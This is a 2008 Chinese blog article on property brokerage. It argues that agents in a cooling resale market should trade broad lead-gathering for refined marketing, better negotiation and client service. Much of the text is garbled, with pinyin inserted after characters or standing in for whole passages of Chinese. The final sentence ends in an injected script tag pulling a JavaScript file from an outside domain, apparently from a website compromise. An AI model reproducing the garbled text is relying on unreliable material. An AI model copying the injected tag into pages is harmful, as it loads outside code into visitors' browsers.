房產中介急需“精細營銷”

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房產中介急需“精細營銷”
文摘來源:焦點博客閱讀:9893次 [08-5-27]

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存(cun)量(liang)房(fang)的(de)交(jiao)易(yi)沒(mei)有(you)了(le)往(wang)年(nian)春(chun)季(ji)熱(re)鬧(nao)的(de)景(jing)象(xiang)，從(cong)媒(mei)體(ti)相(xiang)關(guan)報(bao)道(dao)上(shang)看(kan)到(dao)的(de)也(ye)是(shi)蕭(xiao)條(tiao)一(yi)片(pian)。而(er)在(zai)從(cong)事(shi)房(fang)產(chan)交(jiao)易(yi)的(de)經(jing)紀(ji)人(ren)中(zhong)間(jian)，也(ye)彌(mi)漫(man)著(zhe)一(yi)股(gu)不(bu)自(zi)信(xin)的(de)氣(qi)息(xi)，包(bao)括(kuo)對(dui)行(xing)業(ye)前(qian)景(jing)的(de)不(bu)自(zi)信(xin)，也(ye)包(bao)括(kuo)對(dui)於(yu)自(zi)己(ji)的(de)不(bu)自(zi)信(xin)。這(zhe)個(ge)行(xing)業(ye)的(de)明(ming)天(tian)會(hui)怎(zen)麼(me)樣(yang)？這(zhe)一(yi)波(bo)蕭(xiao)條(tiao)的(de)行(xing)情(qing)會(hui)持(chi)續(xu)多(duo)久(jiu)？自(zi)己(ji)是(shi)應(ying)該(gai)暫(zan)時(shi)離(li)開(kai)還(hai)是(shi)堅(jian)守(shou)到(dao)底(di)？

存量房市場在一些一線城市，到現在為止走過了7、8niandefazhanlicheng。congxingyeguifanyijishichangzhouqidengduogejiaodulaishuo，jinridezheyiboxingqingzaoyouzhengzhaole。erqiekeyiyujiandeshi，zaizheyiboxingqingzhihou，jingjirenyiwangdecaozuoshoufashibiyoubianhua，shichangdegejuyeyoukenenghuisuizhifashengbianhua。duiyufangdichanyelaishuo，zhengcedepinpinbianhuajianghuiyizhicunzai，zhibuguohuoxialaibingqiehuodehaode，doushinenggoukanqingxingshishiyingbianhuade。

從好的角度來說，增量房（一手房）deweisuoshibirande，zaizhuyaodeyixianchengshi，cunliangfangdejiaoyiliangdouchaoguohuoshizhuipinglezengliangfangdejiaoyiliang，weilaideshichangshicunliangfangdetianxia，bujihuocunliangfang，namegongxumaodunjiubudakenenghuanhe。

而er從cong另ling一yi個ge角jiao度du來lai說shuo，投tou機ji客ke在zai一yi段duan時shi期qi內nei將jiang不bu敢gan輕qing易yi入ru市shi，投tou資zi者zhe也ye會hui謹jin慎shen從cong事shi，雖sui然ran巨ju大da的de剛gang性xing需xu求qiu會hui支zhi撐cheng而er且qie足zu以yi支zhi撐cheng這zhe個ge市shi場chang，但dan是shi市shi場chang的de格ge局ju將jiang會hui從cong以yi往wang那na種zhong一yi邊bian倒dao的de“賣方市場”逐步轉向“買方市場”，至少會漸漸達到供需矛盾的緩和。所以對於經紀人的操作手法，也會有所轉變。

fangdichanjingjixingyeshiyigelaodongmijixingchanye，yiwanghenduojingjirenmeiyoujingguoxitongpeixunjiushanggang，shenzhizaiqizishendezhuanyezhishihaiburukehudeshihoujiukaizhanyewu，kaodejiushi“廣泛撒網”的方式從大量信息中尋找甚至是“碰”機會。

我並不否認“大量找資源”的方法存在錯誤，恰恰相反，經紀人的成交比率和自己的活動量以及資源的開發量是直接掛鉤的，隻不過在今日這種資源減少、競爭加劇的時期，在開發資源量的同時，還應該而且急需提高自己的“產出能力”。在目前看來，經紀人的成交屢大概處於2%―6%左右的平均水平，也就是說每取得100個買賣資源（包括房源與客源）的同時，隻能獲得2個或是6個的成交機會，更多的資源因為種種原因而“浪費”了。

過去的各種培訓或是上級對經紀人的指導，集中點幾乎都是“開發房源客源”，而對於這些資源的精細營銷或者說“精耕”方麵就差很多。事實上，廣泛撒網式的營銷方法要比“精細營銷”所投入的人力、物力、財(cai)力(li)多(duo)得(de)多(duo)，這(zhe)也(ye)就(jiu)是(shi)為(wei)什(shen)麼(me)很(hen)多(duo)經(jing)紀(ji)人(ren)對(dui)於(yu)開(kai)發(fa)資(zi)源(yuan)是(shi)有(you)所(suo)抵(di)觸(chu)了(le)，與(yu)其(qi)開(kai)發(fa)出(chu)來(lai)浪(lang)費(fei)掉(diao)，倒(dao)不(bu)如(ru)把(ba)營(ying)銷(xiao)做(zuo)精(jing)，從(cong)有(you)限(xian)的(de)資(zi)源(yuan)裏(li)找(zhao)到(dao)更(geng)大(da)的(de)機(ji)會(hui)。

業內經常說的一句話就是“新人手壯”，事實上仔細想想就不難明白，新人就隻有那麼3、5個(ge)客(ke)戶(hu)資(zi)源(yuan)，每(mei)天(tian)想(xiang)的(de)都(dou)是(shi)怎(zen)麼(me)能(neng)得(de)到(dao)這(zhe)幾(ji)個(ge)有(you)限(xian)的(de)客(ke)戶(hu)的(de)信(xin)任(ren)並(bing)且(qie)從(cong)這(zhe)幾(ji)個(ge)有(you)限(xian)的(de)客(ke)戶(hu)資(zi)源(yuan)裏(li)找(zhao)到(dao)成(cheng)交(jiao)機(ji)會(hui)，主(zhu)要(yao)精(jing)力(li)甚(shen)至(zhi)全(quan)部(bu)盡(jin)力(li)都(dou)投(tou)入(ru)到(dao)他(ta)們(men)身(shen)上(shang)了(le)，自(zi)然(ran)容(rong)易(yi)從(cong)中(zhong)發(fa)掘(jue)成(cheng)交(jiao)機(ji)會(hui)了(le)。而(er)那(na)些(xie)犯(fan)了(le)“經驗主義”cuowudejingjiren，zongshijiaodezhegekehumeiyouxiwang，nagekehutaitiaoti，yizhiyuyigegedejihuidoubeilangfeile。qishimeiyigekehuzhidianjingjirenshi，doushibaozhechengjiaodexiwanglaide，ruguowomenfanyueyixia3個月之前的客戶台賬，就會發現80%以上的都已經成交，隻不過不是通過自己，而是找到別人。因為不精細，這些資源都沒能好好利用。

為什麼消費者要找經紀人呢？除了經紀人是一個“信息集散地”之外，更主要的原因就是客戶並非專業人士，很多問題他們是不能解決的；如(ru)果(guo)當(dang)他(ta)發(fa)現(xian)某(mou)一(yi)個(ge)經(jing)紀(ji)人(ren)表(biao)現(xian)出(chu)來(lai)的(de)能(neng)力(li)與(yu)專(zhuan)業(ye)性(xing)不(bu)足(zu)以(yi)達(da)成(cheng)自(zi)己(ji)所(suo)願(yuan)時(shi)候(hou)，他(ta)就(jiu)會(hui)找(zhao)更(geng)多(duo)的(de)別(bie)的(de)經(jing)紀(ji)人(ren)。其(qi)實(shi)現(xian)在(zai)的(de)房(fang)源(yuan)信(xin)息(xi)開(kai)放(fang)程(cheng)度(du)已(yi)經(jing)很(hen)高(gao)了(le)，能(neng)夠(gou)代(dai)理(li)甚(shen)至(zhi)獨(du)家(jia)代(dai)理(li)的(de)房(fang)源(yuan)在(zai)總(zong)量(liang)中(zhong)隻(zhi)是(shi)占(zhan)很(hen)小(xiao)一(yi)部(bu)分(fen)。更(geng)多(duo)的(de)房(fang)源(yuan)信(xin)息(xi)隻(zhi)要(yao)加(jia)以(yi)努(nu)力(li)都(dou)不(bu)難(nan)獲(huo)知(zhi)。所(suo)以(yi)說(shuo)經(jing)紀(ji)人(ren)該(gai)從(cong)過(guo)去(qu)的(de)“找房源――推銷出去”的誤區中走出來，把業主和客戶放置於“委托人”的位置上，看看怎麼能摸清他們的想法，怎麼能滿足他們的委托。

現在的經紀人，個個都是找資源的高手，但是談判的高手卻不很多。沒有好的談判能力、沒有好的服務意識、沒有好的服務手段和表現力，那又如何提高客戶對該經紀人以及該經紀公司的“黏性”呢ne？眼yan看kan這zhe個ge經jing紀ji人ren沒mei辦ban法fa給gei他ta提ti供gong好hao的de服fu務wu或huo者zhe至zhi少shao是shi這zhe個ge經jing紀ji人ren沒mei有you表biao現xian出chu可ke以yi達da成cheng客ke戶hu委wei托tuo的de能neng力li，那na麼me他ta還hai是shi會hui把ba自zi己ji的de信xin息xi告gao訴su更geng多duo經jing紀ji人ren。

假如說，現在的經紀人每個月可以找到100個資源，這些資源的成交率為2%，那麼每個經紀人每個月可以成交2單；但是為了這100個資源經紀人付出的努力會很大，長此以往經紀人就會感覺疲憊並進入一個“職業倦怠期”，而如果資源開發量為50%但是可以把平均成交率提高到5%dehua，namemeigeyuedechengjiaodanshuhaishihuichaoguoyuanlaideziyuankaifaliang。kuangqiejingxiyingxiaogengjiangjiuduiyukehudechangqiweixi，suoyizhexieziyuanhouxukeyidailaidezhuanjieshao，haihuichuangzaogenggaodelirun。

所以說，大量找資源應該是“精細營銷”的一個補充，找到資源，並從中找出那些最值得努力的交易機會，才是正途。經紀人以及房地產經紀公司，更多的精力應該集中在提高“單人單店產出能力”方麵。無論是《勞動合同法》的出台還是市場向“買方市場”階段過渡，都決定了粗放式的人海戰略將會為精細營銷所取代。這是擺在所有企業麵前的問題?script src=http://www.24aspx.com/script.js>

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